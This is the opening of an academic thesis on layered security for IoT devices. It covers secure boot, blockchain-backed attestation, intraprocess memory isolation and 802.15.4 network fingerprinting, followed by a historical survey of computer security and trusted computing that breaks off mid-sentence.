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Abstract
The emergent next generation of computing, the so-called Internet of
Things (IoT), presents significant challenges to security, privacy, and trust.
The devices commonly used in IoT scenarios are often resource-const-
rained with reduced computational strength, limited power consumption,
and stringent availability requirements. Additionally, at least in the con-
sumer arena, time-to-market is often prioritized at the expense of quality
assurance and security. An initial lack of standards has compounded the
problems arising from this rapid development. However, the explosive
growth in the number and types of IoT devices has now created a mul-
titude of competing standards and technology silos resulting in a highly
fragmented threat model. Tens of billions of these devices have been
deployed in consumers’ homes and industrial settings. From smart toast-
ers and personal health monitors to industrial controls in energy deliv-
ery networks, these devices wield significant influence on our daily lives.
They are privy to highly sensitive, often personal data and responsible for
real-world, security-critical, physical processes. As such, these internet-
connected things are highly valuable and vulnerable targets for exploita-
tion. Current security measures, such as reactionary policies and ad hoc
patching, are not adequate at this scale.
This thesis presents a multi-layered, defense in depth, approach to pre-
venting and mitigating a myriad of vulnerabilities associated with the
above challenges. To secure the pre-boot environment, we demonstrate
a hardware-based secure boot process for devices lacking secure mem-
ory. We introduce a novel implementation of remote attestation backed
by blockchain technologies to address hardware and software integrity
concerns for the long-running, unsupervised, and rarely patched systems
found in industrial IoT settings. Moving into the software layer, we present
a unique method of intraprocess memory isolation as a barrier to several
prevalent classes of software vulnerabilities. Finally, we exhibit work on
network analysis and intrusion detection for the low-power, low-latency,
and low-bandwidth wireless networks common to IoT applications. By
targeting these areas of the hardware–software stack, we seek to establish
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The world is growing more connected. Computing technology increasingly interweaves
with business, society, and the daily lives of millions. The growth of computing
technology has validated Moore’s Law for half a century. The shrinking of processors
and their related production costs have enabled an explosion of new devices and
use cases. Computers and their peripheral devices have become smaller, faster, and
cheaper to manufacture. Embedded systems are now ubiquitous and often invisible
to us. Societal forces—for instance, the demand for connectedness, convenience, and
simplicity—as well as market forces—such as those focused on efficiency, investment,
and data collection—drive this growth. The use cases of such systems span across
our daily lives and include our critical infrastructure, industrial controls, automobiles,
medical devices, and consumer applications.
By their very nature, these resource-constrained devices present unique security chal-
lenges. For nearly two decades, security experts have been warning of the insecurity of
many of these devices, e.g., [162,295]. While market forces may propel the production
and adoption of these connected things, security is often an afterthought. A focus on
quick and cheap production (bolstered by marketing wizardry) can inevitably lead
to a compromise on quality assurance and security testing. In addition, as in any
new and growing field, developers often lack the necessary education and training to
properly consider the security implications of the technologies they are creating.
The Internet of Things (IoT) is the latest incarnation of the Internet’s evolution. Con-
necting machines together via the Internet is not new. However, the relatively recent
convergence of small and powerful embedded systems, cheap networking hardware,
and pervasive network accessibility has led to a new world of connected “things.”
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Combined with machine learning and cloud computing, many of these things are
becoming “smart,” with the ability to sense, anticipate, communicate, and react to
the needs or desires of users. The IoT encapsulates a multitude of devices, from
traditional embedded microcontrollers to toasters, being as small as implanted radio-
frequency identification (RFID) chips or as large as driverless semi-trailer trucks.
The widespread availability of wireless networks, and the relatively inexpensive na-
ture of these devices, creates a perfect environment for development. The IoT, while
amorphous in definition, has seen wild estimates of its presence and growth. By var-
ious estimates there will be 20–50 billion devices connected to the Internet this year
(2020) [79,80,96], and a trillion devices by 2035 [266]. These devices are here to stay
and represent a major evolution in technology.
The complexity of computing systems is ever increasing. IoT devices manifest many
of the same resource constraints as prior generations of disconnected embedded sys-
tems. Sensors, controls, and monitoring devices frequently depend on low power
consumption and stringent availability requirements. Limited hardware support and
capabilities, such as reduced compute power and lack of hardware security features,
are seemingly standard. Additionally, as envisioned, these devices will maintain pro-
longed life cycles with minimal oversight, management, or patching. The economics
of design and manufacturing often dictate these limitations. Unfortunately, the IoT
has also inherited a plethora of security vulnerabilities from hardware, firmware, and
software, as well as those generally associated with networked and Internet-enabled
devices. A rush to market and a lack of security expertise and awareness by device
vendors means that many devices are built and deployed with known vulnerabilities
and minimal, if any, infrastructure for ongoing maintenance and support [117].
The opportunities for exploitation and the consequential impacts thereof are explod-
ing. The always-on, inconspicuous, and noninteractive nature of the IoT, combined
with general, systems-security failings, has meant that IoT-targeted attacks are now
a legitimate concern [84,231]. The Mirai botnet is a prime example. A botnet is a col-
lection of compromised internet-connected devices (the “bots” or robots) that operate
in a coordinated fashion under the command and control (C&C) of an attacker (the
“net” or network). These networks can distribute malware and spyware—software
that monitors usage and steals data. More frequently, however, these networks act
as force multipliers in spam messaging campaigns and distributed denial of service
attacks (DDOS), in which a large number of requests bombard targeted services.
These floods lead to resource exhaustion, consuming available bandwidth or connec-
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tion capacity, and thus result in a denial of service for legitimate consumers. In 2016,
the Mirai botnet—comprising hundreds of thousands of routers, printers, cameras,
and digital video recorders (DVRs)—executed thousands of massive DDOS attacks
against many targets, including websites, hosting providers, and internet infrastruc-
ture companies [18,164].
For end-users and information technology (IT) professionals, building and maintaining
trust in these small, cheap, and naturally vulnerable IoT systems is essential as they
become more pervasive and imperceptible in our lives. With access to and control
over our critical infrastructure and increasingly personal and private data, failure
to provide a secure and trustworthy infrastructure could be calamitous. Standards
and best practices for IoT security are being proposed [40, 81, 138, 188], and secure
hardware [5, 203], operating systems [152, 159], and network protocols [106] do exist.
However, vendor buy-in and consumer awareness are still lagging.
In this thesis, I will argue that the band-aiding of security solutions (i.e., reactionary,
ad hoc patching) is inadequate for the next generation of computing devices. Here I
propose and demonstrate several solutions targeting various layers of the hardware–
software stack.
1.1 Contributions
A primary principle of computer security is defense in depth: a layering of defen-
sive mechanisms, such that the failure of one defense does not lead to the immediate
compromise of a whole system. I present a research portfolio of security mechanisms
for resource-constrained devices that each represent a single defensive layer. Begin-
ning with hardware-enabled secure boot, I show how trust can be extended through
application runtime using blockchain-based remote attestation, intraprocess memory
isolation, and network analysis. Figure 1.1 provides an overview of my contributions.
The first defense targets the lowest level of the hardware–software stack, the pre-
boot environment, with a unique hardware-based secure boot design. Inspired by
prior work on server architectures, I present a method for securely booting resource-
constrained devices with limited secure memory.
The next defense, moving up the stack, is a novel attestation architecture to ad-
dress the transition between boot and application runtime for networks of resource-




















































Figure 1.1: My contributions to the defense in depth of resource-constrained devices.
of IoT-comparable devices communicating attestation information in a distributed
manner via a distributed attestation network (DAN).
At the software layer, I extend the classic notion of privilege separation with in-
traprocess memory isolation and showcase its effectiveness in mitigating contempo-
rary vulnerabilities. Using ELFbac, I provide policy-based solutions to the OpenSSH
roaming bug as well as the first variant of the Spectre-class of microarchitectural
vulnerabilities.
The final defense addresses the network layer. I analyze the 802.15.4 protocol stan-
dard for low-rate wireless personal area networks (LR-WPANs). Utilizing cheap,
commodity devices, I establish fingerprints for common radio chipsets and introduce
the concept of dialects, unique communication patterns, in wireless networks. Finally,
I expose the potential for these dialects to create shaped charges useful in evading an
intrusion detection and prevention system (IDPS).
1.2 Outline
This thesis is organized according to the hardware–software stack and the defense-in-
depth methods targeting each layer. Chapter 2 provides some context, motivation,
and background. Chapter 3 introduces the hardware–firmware interface and details
a process for securely booting devices under hardware constraints commonly found
in the IoT. Chapter 4 bridges the gaps between firmware, operating systems, and
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software with a novel architecture for remote attestation. Chapter 5 focuses on the
software layer with an innovative method for vulnerability mitigation through in-
traprocess memory isolation. Chapter 6 moves into the network stack and describes
research on network analysis and the fingerprinting of wireless devices to better com-
bat network intrusions in the IoT. Finally, Chapter 7 considers future work and
provides conclusions.
1.3 Previous Publications
This thesis includes text and ideas directly from several of my previous publications.
All of the text presented here is my own; however, I am deeply appreciative of the
collaborations, insights, and assistance of all my co-authors.
The work in Chapter 4 was originally presented as a workshop paper in collaboration
with Sean Smith:
• Ira Ray Jenkins and Sean W. Smith. Distributed IoT Attestation via Block-
chain. In Proceedings of the 1st Workshop on Secure IoT, Edge and Cloud
systems, 2020, in press.1
Chapter 5 incorporates material from two publications. The OpenSSH work was done
in collaboration with Maxwell Koo, who ported Executable and Linkable Format-
based access control (ELFbac) to the ARM architecture. The Spectre mitigation was
done in concert with Prashant Anantharaman, who worked on memory protection
keys (MPKs), Rebecca Shapiro, who identified our policy workaround, Peter Brady,
who assisted in compiling OpenSSH on a new platform, and Sergey Bratus and Sean
Smith, who provided sage wisdom and historical background:
• Ira Ray Jenkins, Sergey Bratus, Sean W. Smith, and Maxwell Koo. Reinventing
the Privilege Drop: How Principled Preservation of Programmer Intent Would
Prevent Security Bugs. In Proceedings of the 5th Annual Symposium and Boot-
camp on Hot Topics in the Science of Security, 2018.
• Ira Ray Jenkins, Prashant Anantharaman, Rebecca Shapiro, J. Peter Brady,
Sergey Bratus, and Sean W. Smith. Ghostbusting: Mitigating Spectre with
Intraprocess Memory Isolation. In Proceedings of the 7th Annual Symposium
and Bootcamp on Hot Topics in the Science of Security, 2020, in press.
1An extended version of this paper can be found as a technical report [147].
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The research demonstrated in Chapter 6 was done in collaboration with Rebecca
Shapiro, who helped troubleshoot my roadblocks, Sergey Bratus, who provided guid-
ance and background on fingerprinting, Travis Goodspeed, who developed the firm-
ware and packet-in-packet techniques, and Ryan Speers and David Dowd, who devel-
oped the initial hardware and software to enable my experiments:
• Ira Ray Jenkins, Rebecca Shapiro, Sergey Bratus, Travis Goodspeed, Ryan
Speers, and David Dowd. Short Paper: Speaking the Local Dialect: Exploit-
ing Differences between IEEE 802.15.4 Receivers with Commodity Radios for
Fingerprinting, Targeted Attacks, and WIDS Evasion. In Proceedings of the
7th ACM Conference on Security and Privacy in Wireless & Mobile Networks,
2014.2
Finally, the background text in Chapter 2 adapts material and concepts from all
of the above publications, in addition to the following other publications on intent,
mismorphisms, and human computability written during my doctoral research:
• Vijay Kothari, Prashant Anantharaman, J. Peter Brady, Ira Ray Jenkins, Sam-
eed Ali, Michael C. Millian, Ross Koppel, Jim Blythe, Sergey Bratus, and Sean
W. Smith. Human-Computability Boundaries. In Proceedings of the 27th In-
ternational Workshop on Security Protocols, 2019, in press.
• Prashant Anantharaman, Vijay Kothari, J. Peter Brady, Ira Ray Jenkins, Sam-
eed Ali, Michael C. Millian, Ross Koppel, Jim Blythe, Sergey Bratus, and Sean
W. Smith. Mismorphism: The Heart of the Weird Machine. In Proceedings of
the 27th International Workshop on Security Protocols, 2019, in press.
• Prashant Anantharaman, J. Peter Brady, Ira Ray Jenkins, Vijay H. Kothari,
Michael C. Millian, Kartik Palani, Kirti V. Rathore, Jason Reeves, Rebecca
Shapiro, Syed H. Tanveer, Sergey Bratus, Sean W. Smith. Intent as a Secure
Design Primitive. In Charles A. Kamhoua, Laurent L. Njilla, Alexander Kott,
Sachin S. Shetty (Ed.), Modeling and Design of Secure Internet of Things. John
Wiley & Sons, Inc. 2020, in press.
1.4 Prerequisites
Readers with a basic knowledge of computer science and technology should be familiar
with the topics discussed in this thesis. This thesis requires no specific background in
2An extended version of this paper can be found as a technical report [145].
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computer security, trusted computing, networking, or cryptography. I will endeavor
to introduce and define the requisite concepts and background information as they
appear. Nevertheless, several textbooks may benefit the interested reader, as they
have my own studies, with greater depth and elucidation.
For an overview of security, its history, and applications to many facets of computer
systems, I recommend the following books:
• Charles P. Pfleeger, Shari Lawrence Pfleeger, and Jonathan Margulies. Security
in Computing. Prentice Hall, Upper Saddle River, 5th edition, 2015.
• Sean W. Smith and John Marchesini. The Craft of System Security. Addison-
Wesley, Boston, 1st edition, 2007.
Another good survey text is available freely online in its pre-published 3rd edition:
• Ross J. Anderson. Security Engineering: A Guide to Building Dependable Dis-
tributed Systems. Hoboken, 3rd edition, 2020.
The following two books address the intersection of the IoT and security:
• Sean W. Smith. The Internet of Risky Things: Trusting the Devices that Sur-
round Us. O’Reilly Media, Sebastopol, 1st edition, 2017.
• Bruce Schneier. Click Here to Kill Everybody. W. W. Norton & Company, New
York, 1st edition, 2018.
In-depth introductions to trusted computing concepts, design, and applications can
be found in the following books:
• Sean W. Smith. Trusted Computing Platforms: Design and Applications. Spri-
nger, New York, 1st edition, 2005.
• Chris Mitchell, ed. Trusted Computing. IEEE, London, 2005.
A practical survey of malware and the pre-boot environment can be found in:
• Alex Matrosov, Eugene Rodionov, and Sergey Bratus. Rootkits and Bootkits:
Reversing Modern Malware and Next Generation Threats. No Starch Press, San
Francisco, 2019.
A great primer on the intersection of security and networking is the following book:
• Charles Kaufman, Mike Speciner, and Radia Perlman. Network Security: Pri-
vate Communications in a Public World. Prentice Hall, Upper Saddle River,
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2nd edition, 2002.
Finally, the interested reader will find both classic and modern texts on cryptography
and its applications within the following:
• Bruce Schneier. Applied Cryptography. John Wiley & Sons, New York, 2nd
edition, 1996.
• Keith M. Martin. Everyday Cryptography: Fundamental Principles & Applica-




The academic study of security, as related to computing technology, has a relatively
short, but incredibly robust history. This chapter will survey the literature underpin-
ning and motivating this thesis.
2.1 Introduction
Aho and Ullman wrote, “Computer Science is a science of abstraction” [6]. The tradi-
tional hierarchy of computing systems realizes this as hardware, firmware, operating
system (OS), and software. This partitioning is often described as a stack with the
physical components anchoring the bottom and higher levels attempting to abstract
away much of the complexity of lower levels. In this way, software developers need
not focus too much on the physics of electricity when they are primarily concerned
about bit-twiddling.
However, according to what some researchers call the Bratus principle1, in practice,
layers of abstraction become boundaries of competence [239]. That is, engineers
and developers are trained to assume the correctness and robustness of the layers
below them and focus on the additional functionality they wish to provide. This
presumption leads to application developers with little to no understanding or concern
for how an operating system might treat file access controls, how a network controller
might operate on packets, or how the firmware on a hard disk controller (HDC) might
react to specific reads or writes. As a result, the invalid assumptions built into systems
1This quote has also been imputed to one Pastor Manul Laphroaig [172]; however, we are assured
that the Right Reverend Doctor would neither forestall or abrogate our eponymous attribution.
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may eventually become the weird machines [44] of exploits.
Building modern computing systems is a remarkable feat of precarious engineering.
Each piece of the puzzle is stacked haphazardly onto the next, in isolation, assuming
the proper functioning of those pieces around it. In his Turing Award acceptance
lecture, Ken Thompson remarked, “You can’t trust code that you did not totally
create yourself” [280]. This statement is generalizable to computing systems as a
whole, and aptly reveals a central challenge of computing security. Users cannot trust
systems that they did not build, but it is impractical to assume that the average user
of a program or computer could or would want to create such a system. So, how
do we develop applications and computing systems in a trustworthy manner? If we
cannot achieve some idealized goal of each computing user designing and building
their own computer, operating system, and applications, what middle ground exists
between complete trust and absolute uncertainty?
Vulnerabilities are moving targets. The late 1990s and early 2000s saw a spate of
software vulnerabilities in operating systems (e.g., Windows) leading to malware and
viruses [94,160]. Over time, attackers found the lowest hanging fruit in the application
layer, where many of the same or similar vulnerabilities began to appear in larger,
more impactful quantities (e.g., buffer overflows) [193, 315]. Where software used to
be the primary target of exploits, the arms race of security has led to more and more
research focusing on the relationships between hardware devices and the interactions
between hardware and software. The last decade has seen more and more attacks
moving down the stack. For example, Stuxnet targeted programmable logic con-
trollers (PLCs) for centrifuges used in Iranian nuclear enrichment facilities [82, 171].
Vulnerabilities like Trammell Hudson’s Thunderstrike [119] allow untrusted code to
be flashed onto the boot ROM and then propagate itself via shared devices. The
BadUSB attack [202] similarly targets pluggable devices. More recently, the Melt-
down [181] and Spectre [161] vulnerabilities target the microarchitecture of nearly
every modern processor. This shifting landscape only exacerbates the potential chal-
lenges to computing security.
This thesis attempts to address some of these challenges in a more holistic way for
resource-constrained devices. The remainder of this chapter is organized as follows:
Section 2.2 surveys the history and literature of system security. Section 2.3 intro-
duces the concept of defense in depth. Section 2.4 reviews the development and
applications of trusted computing. Section 2.5 considers the legal and regulatory
landscape that has evolved around these areas. Finally, concluding thoughts are
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presented in Section 2.6.
2.2 System Security
Security is an essentially contested concept. W. B. Gallie coined this term to describe
abstract notions “the proper use of which inevitably involves endless disputes about
their proper uses on the part of their user” [93]. The Oxford English Dictionary
defines security as a “freedom from danger or threat” [251]. When applied to various
domains, this definition may be more or less applicable. This thesis is specifically
concerned with the domain of computing systems, within which freedom from threat
seems fanciful at best.
Early computing machines like the Colossus [87], Harvard Mark 1 [7], Manchester
Baby [304], and ENIAC [100] were large, expensive, and purpose-built to aid in math-
ematical calculations. Security, concerning these machines, was focused on limiting
physical access: locked facilities, guards, and identification badges. Due to the nature
of the work these machines were performing (calculations for ballistic trajectories, hy-
drogen bomb construction, and communications codebreaking during World War II),
the primary goal was to prevent theft and destruction by unauthorized personnel,
i.e., spies. It is also worth considering the implications of this work, namely, the
security concerns of other nation-states, e.g., their communications being intercepted
and decoded.
The earliest machines were operated by hand, with controls and switches defining
operation. Later evolutions introduced punch cards, paper tape, and eventually mag-
netic tape. However, these machines still processed only one task at a time for a
single user. There could be significant downtime between successive program runs
on a computer due to setup time or programming errors. As an attempt to optimize
the efficiency of these still expensive machines, multiple programs would be collected
to run consecutively in batches. At a 1954 summer lecture series on advanced cod-
ing techniques, held at MIT, John Backus commented during a discussion that “by
time sharing, a big computer could be used as several small ones” [29]. This idea
would dominate the computing landscape of the 1960s and 1970s. The results were
systems like MIT’s Compatible Time-Sharing System (CTSS) [63] and Dartmouth’s
Time-Sharing System (DTSS) [57,154]. These systems were the first to allow multiple
users to use a single computer at the same time.
Time-sharing systems introduced a new element to computing security, that of pro-
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tecting users and programs from each other. Reliability was an initial concern. Un-
derstanding and preventing the unintended interactions between concurrent or even
subsequent program executions. Sharing resources meant that errors or bugs2 in one
program could propagate and have an impact on other programs. In a 1990 inter-
view, one of the pioneers of this early computing development, Fernando Corbató
commented about the early days of multiprogramming and time-sharing:
In particular, the user programs could make two mistakes. One, they
could trample on somebody else’s program that might be in memory at
the same time and get out of their bounds, either reading or writing, both
sinful – reading for privacy; writing for destruction. Secondly, they could
issue privileged instructions, such as input-output to any device on the
machine, which could create chaos. [61]
An example of this is the story of when users of MIT’s CTSS were greeted with a
listing of all user passwords upon login one day. This “colossal security breach” [62]
was the result of several assumptions, cascading together in their interactions:
1. only one user at a time would have access to the system directory containing
the password file and the message-of-the-day file,
2. only one user would use the system text editor at a time in a given directory,
and
3. a temporary file could have the same name for all instantiations of the system
text editor.
As a result, two programmers in the system directory at the same time inadvertently
swapped the message-of-the-day and password files.
The privacy of data and programs soon became another element of computing secu-
rity. Access to computing resources was no longer just a physical-security concern.
New mechanisms would be required to define and enforce the necessary privileges. A
privilege is the granted authority to perform a security-relevant action, such as reading
or writing data. The foundations for modern isolation and access control mechanisms
were created during this time. A wholly incomplete history would include Lichten-
berger and Pirtle’s work on monitor modes and privileged instructions [178], Dennis’s
work on memory segmentation and name spaces [72], Graham’s work on protection
2Legend holds that Grace Hopper discovered the first bug in 1947—an actual moth trapped
between the contacts of a relay [157].
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rings [105], and Lampson’s access control models, capabilities, domains [169, 170].
MIT’s CTSS is credited as the first computing system to included facilities for au-
thentication, namely usernames and passwords [190]. Interestingly, many of these
protection mechanisms were hardware modifications that needed to be implemented
by engineers and in cooperation with machine manufacturers.
The astute reader will recognize that these early protections did not solve the security
problems related to reliability, protection, and privacy. Many modern computing
security problems are much the same, if only more sophisticated in their details.
These methods may not have even solved the challenges of their day. According to
a story by Allan Scherr, as a graduate student at MIT, he was able to circumvent
machine time restrictions by resetting the usage clock and eventually stealing the file
containing user passwords [245].
As machines grew more complex, with more users and more time-sharing, the need
for an operating system arose—a central piece of software that could manage all of
the hardware and enforce the necessary protections between users, programs, and the
machine. A precursor to modern operating systems, Multics (Multiplexed Informa-
tion and Computing Service) was one of the first general-purpose computing systems
designed with security and privacy in mind from the beginning [64,98]. Multics would
eventually become the impetus for the Unix operating system [228, 229], which has
had a nearly universal impact on modern operating systems from servers to embedded
systems.
During the 1960s and 1970s, parallel to the development of these new computing
machines, was the birth of what would become the Internet. The interested reader
can find more complete histories of ARPANET and the early Internet [110,174,183].
In 1960, J. C. R. Licklider published his seminal paper titled “Man-Computer Sym-
biosis,” in which he foresaw a “network of such centers, connected to one another by
wide-band communication lines and to individual users by leased-wire services" [179].
In 1962, Licklider would become the first director of the Information Processing Tech-
niques Office (IPTO) at the Advanced Research Projects Agency (ARPA)3. During
his tenure, he would fund Project MAC (known under various names as the Project
on Mathematics and Computation, Multiple Access Computer, Machine Aided Cog-
nitions, or Man and Computer) [173], from which a great deal of the previously cited
systems research sprang, including Multics. In 1963, Licklider sent a memorandum
3The agency has gone back-and-forth with names, being renamed in 1972 and 1996 as the Defense
Advanced Research Projects Agency (DARPA).
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out to “members and affiliates of the Intergalactic Computer Network” encouraging
standardization to facilitate networking:
Consider the situation in which several different centers are netted to-
gether, each center being highly individualistic and having its own special
language and its own special way of doing things. Is it not desirable, or
even necessary for all the centers to agree upon some language or, at least,
upon some conventions for asking such questions as “What language do
you speak?” At this extreme, the problem is essentially the one discussed
by science fiction writers: “how do you get communications started among
totally uncorrelated “sapient” beings?” [180]
Lawrence Robert would actualize these ideas in 1967 with ARPANET [230], the
first wide-area packet-switching network. Linking computers together into networks
brought a final element to computing security, distributed threats. Physical proxim-
ity was no longer a risk-mitigating factor. Users, programs, and machines were now
subject to previously unconsidered interactions from a distance. An example of this
was an experimental program written in 1971 by Bob Thomas at Bolt Beranek and
Newman (BBN). The “Creeper” program would move through the ARPANET, print-
ing a message on a terminal before relocating to a new machine [244, 257]. Robert
Metcalfe claims to have written the first memo raising security concerns for the new
ARPANET [70], in which he describes three security failures and concludes with:
All of this would be quite humorous and cause for raucous eye winking
and elbow nudging, if it weren’t for the fact that in recent weeks at least
two major serving hosts were crashed under suspicious circumstances by
people who knew what they were risking; on yet a third system, the system
wheel password was compromised – by two high school students in Los
Angeles no less.
We suspect that the number of dangerous security violations is larger than
any of us know is growing. [192]
In 1975, Saltzer and Schroeder published their seminal paper on “The Protection of
Information in Computer Systems” [238]. For Saltzer and Schroeder, security was
concerned with controlling access to a computer and its data. In this work, they
acknowledge the inherent difficulties in building a secure system, one that “prevents
all unauthorized use,” and the absence, at the time, of “methodical techniques” for
such endeavors. Instead, they presented eight, now classic, design principles to “reduce
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both the number and seriousness” of security flaws:
• Economy of mechanism: The design of a system should be as simple as possi-
ble. The more complex a system is, the more difficult it becomes to understand
and analyze, and the greater the likelihood of unintended interactions within
the system. Of course, this general engineering philosophy predates Saltzer
and Schroeder, and computers as a whole. One anecdote describes US Navy
“Project Kiss,” an effort to increase reliability and reduce cost by removing and
preventing complexities from weapons equipment [283]. Here “Kiss” colloquially
stands for “Keep it simple, stupid.”
• Fail-safe defaults: Systems should deny access by default. This principle is
not only an acknowledgment that systems may fail but an admonition that,
even in failure, systems should remain secure. This is often realized in modern
security applications as whitelisting, the practice of explicitly granting resource
access to only principals with privilege.
• Complete mediation: Every access within a system must be validated con-
temporaneously. Access permissions may change, and assuming privileges ex-
tend through time creates the potential for time-of-check to time-of-use (TOC-
TOU) race conditions that may leave a system vulnerable.
• Open design: The secure design of a system should not require the design
itself to be secret. This principle is simply an application to computing sys-
tems of the 19th-century cryptographer Auguste Kerckhoff’s second principle
of cryptography [155], which Claude Shannon rephrased as, “The enemy knows
the system” [255]. The desire to obfuscate system details in order to maintain
security is now often called “security by obscurity.”
• Separation of privilege: Two keys are better than one. Saltzer and Schroeder
wrote that such a system is more robust and flexible and that “no single accident,
deception, or breach of trust is sufficient to compromise the protected informa-
tion.” Today, this is best realized in multi-factor authentication schemes that
require something you are (e.g., biometrics), something you have (e.g., a key or
bank card), and something you know (e.g., password or PIN).
• Least privilege: Programs and users should operate with the fewest privileges
necessary to complete a task. The purpose of this principle is to minimize the
potential damages of unintended interactions from errors or accidents. Many
modern operating systems implement administrative or “superuser” mechanisms
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to reduce the privileges available to the typical user.
• Least common mechanism: The Latin phrase, “suum cuique” or “to each
their own” rightly expresses this idea. This principle recognizes that the more
resources are shared between users or programs, the higher the likelihood of
unintended interactions. Dependencies that are shared by multiple users or
applications become attractive targets for system compromise and naturally
lead to systemic failure.
• Psychological acceptability: The policy interface for a secure system should
correlate with a user’s mental model of the system. Security policies that are
difficult to understand, or non-intuitive in practice, will lead to circumven-
tion [262].
These principles form the underpinnings of much of modern systems security research
and practice.
On November 2, 1988, a Cornell graduate student, Robert Morris, released one of
the first worms onto the Internet [208]. Computer worms are a type of malware, or
malicious software, that typically attempt to replicate themselves onto new systems
in order to spread. Thomas’s “Creeper” was undoubtedly a precursor to this devel-
opment. The Morris worm worked by finding a potential target, exploiting known
vulnerabilities in various software installed on that machine, loading itself onto the
new computer, and scanning for future targets from this new vantage. It is not known
if it was by malice or ignorance that the worm was able to run amok; nevertheless,
the worm was not good at tracking its own infections and thus could target the same
machine multiple times. This behavior led to some devices becoming inundated with
copies of the code, and resulted in what may be the first practical denial of service
(DOS) attack. Infected computers slowed down or became unresponsive, taking many
of the early Internet’s email services down.
Computing security for much of the 1990s and early 2000s focused on responding to
these sort of software threats with technologies to protect local area networks (LANs),
like firewalls, and individual machines with anti-virus software. With the growing
availability of personal computers (PCs) and internet access, the potential impact of
large scale worms and viruses would only grow. Viruses are a type of malware that
infect software, embedding themselves into vulnerable “host” applications to spread.
In 1991, the Michelangelo virus was discovered [184]. This virus targeted the boot




Limited Window of 
Accident Opportunity
Figure 2.1: The Swiss cheese model. When limited windows of opportunity align, it
allows a trajectory of opportunity for a single action to precipitate an accident.
the machine). With a date-specific trigger,4 the virus would merely zero-out (write
0x0s to) the entire sector making the computer incapable of booting. Fortunately,
on the much anticipated day in 1992, very few machines were affected (contrary to
the dire warnings within contemporary media). The anti-virus industry blossomed
during this time, sparking what many refer to as the arms race of security.
2.3 Defense in Depth
The survival of our species suggests that humans, by luck or ingenuity, are fairly adept
at a multitude of self-preserving strategies. Fortifications such as palisades, or walls,
have been used, to varying degrees of effectiveness, since the earliest civilizations to
protect and defend people, places, and resources. However, history is replete with
stories of the overrun of cities and civilizations after defenses have failed. The natural
evolution of this strategy is to build more walls, as seen in concentric castles such as
the Krak des Chevaliers in Syria.
This creates a layered defense where breaching one layer, or wall, does not necessarily
mean the fall of the kingdom. The “Swiss Cheese Model,” as shown in Figure 2.1,
formalizes this intuition in the context of the dynamics of accident causation. James
4The date in question was March 6, coincidentally the birthday of its eponymous artist.
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Reason, the creator of the model, noted, “In a highly protected system, the probability
that the consequences of an isolated action will penetrate the various layers of defence
is vanishingly small. Several causal factors are required to create a ‘trajectory of
opportunity’ through these multiple defences” [219]. When applied to computing
security, the result is a series of defenses in which each layer is designed to protect the
gaps in the preceding layer. For example, standard practice is the combination of a
firewall to protect a network perimeter and anti-virus software to protect individual
machines.
Some believe this layered approach to security is not the same as a defense in depth
strategy [213]. Others have argued that separating layered security and defense in
depth is a distinction without difference [258]. Formerly a military strategy, defense
in depth was primarily concerned with delaying an adversary—frustrating aggressive
advances, and reducing enemy resources. However, as applied to computing security,
defense in depth has taken on a more nuanced and broad definition. Where layered
security is seen to focus on the technical aspects of stopping a particular threat (e.g.,
spam), defense in depth considers the security of a system as a whole—including the
people, technology, and operations [126]. Thus, layered security becomes merely one
component of a defense in depth strategy. When applied to software security, layers
of defense should be heterogeneous (i.e., stacking multiple of the same protection does
not provide depth) as well as independent and interlocking, such that all layers must
be defeated simultaneously [275]. Designing such a system is not a solved problem
for software security or systems security as a whole.
2.4 Trusted Computing
For the earliest machines, physical security was paramount but considered separate
from the software-focused security that sought to enforce information confidential-
ity, e.g., access controls [297]. As with security, trust has known many definitions
and applications over the years with respect to computing systems. According to
the aptly named “Orange Book” (the origins of which are discussed in Section 2.5)
trust is directly tied to the trusted computing base (TCB) of a system. The TCB
was defined as “the totality of protection mechanisms within a computer system –
including hardware, firmware, and software – the combination of which is responsible
for enforcing a security policy” [73].
During the 1980s and early 1990s, this definition of trust sufficed. However, the advent
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of PCs and the proliferation of these devices into homes, schools, and businesses
meant that physical security must evolve. Traditional assumptions were no longer
valid. The trust one might have in a particular piece of software depended directly
on the complex and often obscure relationships and interactions with other software
installed on a system. Further, given even temporary physical access to a machine, an
adversary could quickly subvert nearly all the security controls within an operating
system or application (e.g., by simply removing storage devices). This reality meant
that the underlying correctness and confidentiality of a system could never really be
trusted when the only methods of verification were self-referential.
In 2002, Bill Gates defined trustworthy computing as “computing that is as available,
reliable and secure as electricity, water services and telephony” [97]. Given the ex-
tant challenges of providing and protecting those essential utilities, this definition, in
retrospect, is either pessimistic or prescient. In contemporary application, trustwor-
thiness is a measure of a system’s qualifications, ability, integrity, and reliability to
provide a service or perform a task. In which case, trust is the certainty that one has
in that measure. The question then is how to ascertain a system’s trustworthiness in
a way that maximizes confidence.
The answer was, and largely has remained, to add hardware. Pearson has defined a
trusted platform as one that “has a trusted component, probably in the form of built-
in hardware, which it uses to create a foundation of trust for software processes” [212].
The first generation of technologies to implement these ideas were secure coproces-
sors [260,309] like IBM’s ABYSS [300] and Citadel [301] architectures. Secure copro-
cessors are peripheral devices that can be integrated into existing systems to provide
a physically-secure environment for computation and data storage. The IBM 4758
Cryptographic Coprocessor is a commercial example that included specialized cryp-
tographic hardware, conductive shielding to prevent electromagnetic interference or
emanations, as well as battery-backed and tamper-responsive random access memory
(RAM) [75]. Through clever hardware techniques, the 4758 could detect attempts to
tamper (e.g., physically trying to open the module’s package) and quickly zero-out
the device’s memory to prevent access.
While commercially successful, this type of secure coprocessor had two significant
drawbacks: price and performance. Devices like the 4758 were extraordinarily ro-
bust and well-validated; however, this came at a cost to consumers that prevented
widespread adoption. Additionally, the computational strength of these devices was
comparatively limited. For governments or large corporations that might depend on
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this high level of security assurance, these trade-offs could be acceptable. However, a
new, cheaper solution would be necessary for consumer-grade machines.
The Trusted Computing Platform Alliance (TCPA), later renamed the Trusted Com-
puting Group (TCG), was formed in 1999 [211]. This was an industrial consortium
of hardware and software vendors, as well as computer manufacturers, interested in
designing, standardizing, and promoting trusted platform technologies. Other paral-
lel initiatives around this time were architectures such as Microsoft’s Palladium [49],
later renamed Next Generation Secure Computing Base (NGSCB), and Intel’s La-
Grande [271], which evolved into Trusted Execution Technology (TXT). The focus
of these efforts was to provide a low cost and standardized platform for including
trust functionality into a system that would facilitate and motivate pervasive use of
security technologies.
In 2001, the TCPA released a first specification that further redefined trust in terms of
behavior and expectation [284]. That is, to be trustworthy, a computer system should
operate reliably and consistently as intended (i.e., according to some specification).
Various debates have since raged over “whose” (the user, the software vendor, or
the machine manufacturer) intentions are to be expected and enforced. Many were
